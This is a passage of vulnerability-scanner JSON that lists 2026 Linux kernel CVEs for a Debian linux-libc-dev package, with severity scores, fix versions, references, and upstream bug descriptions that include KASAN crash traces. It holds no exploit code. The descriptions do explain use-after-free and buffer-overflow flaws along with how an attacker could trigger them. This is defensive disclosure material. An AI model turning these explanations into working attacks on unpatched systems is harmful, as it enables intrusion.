pci_unregister_driver+0x26/0x220\n __do_sys_delete_module+0x32e/0x550\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n \u003c/TASK\u003e\n\nAllocated by task 519:\n kasan_save_stack+0x2c/0x50\n kasan_set_track+0x21/0x30\n __kasan_kmalloc+0x8e/0x90\n __clk_register+0x458/0x2890\n clk_hw_register+0x1a/0x60\n __clk_hw_register_fixed_rate+0x255/0x410\n clk_register_fixed_rate+0x3c/0xa0\n macb_probe+0x1d8/0x42e [macb_pci]\n local_pci_probe+0xd7/0x190\n pci_device_probe+0x252/0x600\n really_probe+0x255/0x7f0\n __driver_probe_device+0x1ee/0x330\n driver_probe_device+0x4c/0x1f0\n __driver_attach+0x1df/0x4e0\n bus_for_each_dev+0x15d/0x1f0\n bus_add_driver+0x486/0x5e0\n driver_register+0x23a/0x3d0\n do_one_initcall+0xfd/0x4d0\n do_init_module+0x18b/0x5a0\n load_module+0x5663/0x7950\n __do_sys_finit_module+0x101/0x180\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\nFreed by task 597:\n kasan_save_stack+0x2c/0x50\n kasan_set_track+0x21/0x30\n kasan_save_free_info+0x2a/0x50\n __kasan_slab_free+0x106/0x180\n __kmem_cache_free+0xbc/0x320\n clk_unregister+0x6de/0x8d0\n macb_remove+0x73/0xc0 [macb_pci]\n pci_device_remove+0xae/0x210\n device_remove+0xcb/0x180\n device_release_driver_internal+0x529/0x770\n driver_detach+0xd4/0x1a0\n bus_remove_driver+0x135/0x260\n driver_unregister+0x72/0xb0\n pci_unregister_driver+0x26/0x220\n __do_sys_delete_module+0x32e/0x550\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43015", "https://git.kernel.org/linus/ce8fe5287b87e24e225c342f3b0ec04f0b3680fe%20%287.0-rc7%29", "https://git.kernel.org/stable/c/16ab4c0e2b15df5d33bfcb9ea8e4441b85dd4a57", "https://git.kernel.org/stable/c/2d96204e4184d6f7dd2f93c6f218fd0c1f55e9ae", "https://git.kernel.org/stable/c/3496fb9e66f79d4def3bb7ec7563e3eaa33a688f", "https://git.kernel.org/stable/c/67f70841a175fa3469119f52d77a3662c07507a2", "https://git.kernel.org/stable/c/b3f799cdf830df1782ae463cf15ace35015be99e", "https://git.kernel.org/stable/c/bf64cae913cdd4821f13d5d1d68900c0891bef69", "https://git.kernel.org/stable/c/ce8fe5287b87e24e225c342f3b0ec04f0b3680fe", "https://git.kernel.org/stable/c/f310a836da90d0f0321b14d446c071af63f9ee4c", "https://linux.oracle.com/cve/CVE-2026-43015.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050156-CVE-2026-43015-9063@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43015", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43015" ], "PublishedDate": "2026-05-01T15:16:45.5Z", "LastModifiedDate": "2026-06-17T10:48:46.073Z" }, { "VulnerabilityID": "CVE-2026-43020", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43020", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eac4d7115fe97ef1a95ad9dfe6d940ac84130f451d87585a03eac2346b8d9b03", "Title": "kernel: Bluetooth: MGMT: validate LTK enc_size on load", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: validate LTK enc_size on load\n\nLoad Long Term Keys stores the user-provided enc_size and later uses\nit to size fixed-size stack operations when replying to LE LTK\nrequests. An enc_size larger than the 16-byte key buffer can therefore\noverflow the reply stack buffer.\n\nReject oversized enc_size values while validating the management LTK\nrecord so invalid keys never reach the stored key state.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/security/cve/CVE-2026-43020", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/b8dbe9648d69059cfe3a28917bfbf7e61efd7f15%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0f37d1e65c6d71ad94ccfb5c602163c525db789d", "https://git.kernel.org/stable/c/257cdb960d8ff6d60bb6461b03c814b6cf0c9e64", "https://git.kernel.org/stable/c/40ba329e8b4cd2fb11b0caf5e6a543ceaebb6009", "https://git.kernel.org/stable/c/50fb64defa72a3fecd0af1ca7c6b47b5c5c2b257", "https://git.kernel.org/stable/c/82f342b3b006ca1d65f4890c05f2ec32fcb808b6", "https://git.kernel.org/stable/c/b8dbe9648d69059cfe3a28917bfbf7e61efd7f15", "https://git.kernel.org/stable/c/c34577f517b556fb6ca173d45bf7e766ae2564ce", "https://git.kernel.org/stable/c/f71695e81f4cb428f3c7e2138eae88199005b52c", "https://linux.oracle.com/cve/CVE-2026-43020.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050157-CVE-2026-43020-3561@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43020", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43020" ], "PublishedDate": "2026-05-01T15:16:46.233Z", "LastModifiedDate": "2026-11-06T16:18:16.707Z" }, { "VulnerabilityID": "CVE-2026-43027", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43027", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:92ef38716d01766de17233b34307785e79694f18360a38201a360e3be83f1df5", "Title": "kernel: netfilter: nf_conntrack_helper: pass helper to expect cleanup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_helper: pass helper to expect cleanup\n\nnf_conntrack_helper_unregister() calls nf_ct_expect_iterate_destroy()\nto remove expectations belonging to the helper being unregistered.\nHowever, it passes NULL instead of the helper pointer as the data\nargument, so expect_iter_me() never matches any expectation and all\nof them survive the cleanup.\n\nAfter unregister returns, nfnl_cthelper_del() frees the helper\nobject immediately. Subsequent expectation dumps or packet-driven\ninit_conntrack() calls then dereference the freed exp-\u003ehelper,\ncausing a use-after-free.\n\nPass the actual helper pointer so expectations referencing it are\nproperly destroyed before the helper object is freed.\n\n BUG: KASAN: slab-use-after-free in string+0x38f/0x430\n Read of size 1 at addr ffff888003b14d20 by task poc/103\n Call Trace:\n string+0x38f/0x430\n vsnprintf+0x3cc/0x1170\n seq_printf+0x17a/0x240\n exp_seq_show+0x2e5/0x560\n seq_read_iter+0x419/0x1280\n proc_reg_read+0x1ac/0x270\n vfs_read+0x179/0x930\n ksys_read+0xef/0x1c0\n Freed by task 103:\n The buggy address is located 32 bytes inside of\n freed 192-byte region [ffff888003b14d00, ffff888003b14dc0)", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/security/cve/CVE-2026-43027", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/a242a9ae58aa46ff7dae51ce64150a93957abe65%20%287.0-rc7%29", "https://git.kernel.org/stable/c/2c16e4d64dd91227742dfe196a3e7b0568bef65a", "https://git.kernel.org/stable/c/2cf2737c85a2ba2b52024dafe68ffad2676f97be", "https://git.kernel.org/stable/c/504ba4168466c91210c45acdc332479cfd5f2da6", "https://git.kernel.org/stable/c/5cf28d5c8dcbbe8af6d3b145babe491906d7bad1", "https://git.kernel.org/stable/c/620f3d14c1ef51d425060a3056ad8dbae8f998a3", "https://git.kernel.org/stable/c/90bd7e8501349db3006d21fbc09df9ffcb172965", "https://git.kernel.org/stable/c/a242a9ae58aa46ff7dae51ce64150a93957abe65", "https://git.kernel.org/stable/c/dc1739eff48e34cc71d4e2f03715493fbcebd8af", "https://linux.oracle.com/cve/CVE-2026-43027.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050159-CVE-2026-43027-5711@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43027", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43027" ], "PublishedDate": "2026-05-01T15:16:47.167Z", "LastModifiedDate": "2026-11-06T16:18:17.677Z" }, { "VulnerabilityID": "CVE-2026-43038", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43038", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3b1b43d50322eab6743bb4294e5f454d7eddbbfad66f1e12019f474a8dc214de", "Title": "kernel: ipv6: icmp: clear skb2-\u003ecb[] in ip6_err_gen_icmpv6_unreach()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: icmp: clear skb2-\u003ecb[] in ip6_err_gen_icmpv6_unreach()\n\nSashiko AI-review observed:\n\n In ip6_err_gen_icmpv6_unreach(), the skb is an outer IPv4 ICMP error packet\n where its cb contains an IPv4 inet_skb_parm. When skb is cloned into skb2\n and passed to icmp6_send(), it uses IP6CB(skb2).\n\n IP6CB interprets the IPv4 inet_skb_parm as an inet6_skb_parm. The cipso\n offset in inet_skb_parm.opt directly overlaps with dsthao in inet6_skb_parm\n at offset 18.\n\n If an attacker sends a forged ICMPv4 error with a CIPSO IP option, dsthao\n would be a non-zero offset. Inside icmp6_send(), mip6_addr_swap() is called\n and uses ipv6_find_tlv(skb, opt-\u003edsthao, IPV6_TLV_HAO).\n\n This would scan the inner, attacker-controlled IPv6 packet starting at that\n offset, potentially returning a fake TLV without checking if the remaining\n packet length can hold the full 18-byte struct ipv6_destopt_hao.\n\n Could mip6_addr_swap() then perform a 16-byte swap that extends past the end\n of the packet data into skb_shared_info?\n\n Should the cb array also be cleared in ip6_err_gen_icmpv6_unreach() and\n ip6ip6_err() to prevent this?\n\nThis patch implements the first suggestion.\n\nI am not sure if ip6ip6_err() needs to be changed.\nA separate patch would be better anyway.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 4, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:22964", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:23237", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25533", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:55618", "https://access.redhat.com/errata/RHSA-2026:55761", "https://access.redhat.com/errata/RHSA-2026:55762", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:55837", "https://access.redhat.com/errata/RHSA-2026:56224", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/security/cve/CVE-2026-43038", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2351619", "https://bugzilla.redhat.com/show_bug.cgi?id=2420279", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2461480", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464397", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-53781", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:25121", "https://git.kernel.org/linus/86ab3e55673a7a49a841838776f1ab18d23a67b5%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0452b6526b2f54b2413b9cb4ff1ea2ac542c99c7", "https://git.kernel.org/stable/c/1ceeebd5bd6d855b17a5df625109bfe29129d7cf", "https://git.kernel.org/stable/c/3d5127d998de617b130aae96b138dba22ac6a8a7", "https://git.kernel.org/stable/c/86ab3e55673a7a49a841838776f1ab18d23a67b5", "https://git.kernel.org/stable/c/a2edbb6393972a02114b6003953a5cef3104fada", "https://git.kernel.org/stable/c/a4437faf135da293d16fcc4cc607316742bd0ebb", "https://git.kernel.org/stable/c/c438ba010171b70bad22fc18b1d5bdc3627476e8", "https://git.kernel.org/stable/c/e41953e7d118e2702bcb217879c173d9d1d3cd4e", "https://linux.oracle.com/cve/CVE-2026-43038.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050103-CVE-2026-43038-b591@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43038", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43038.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", 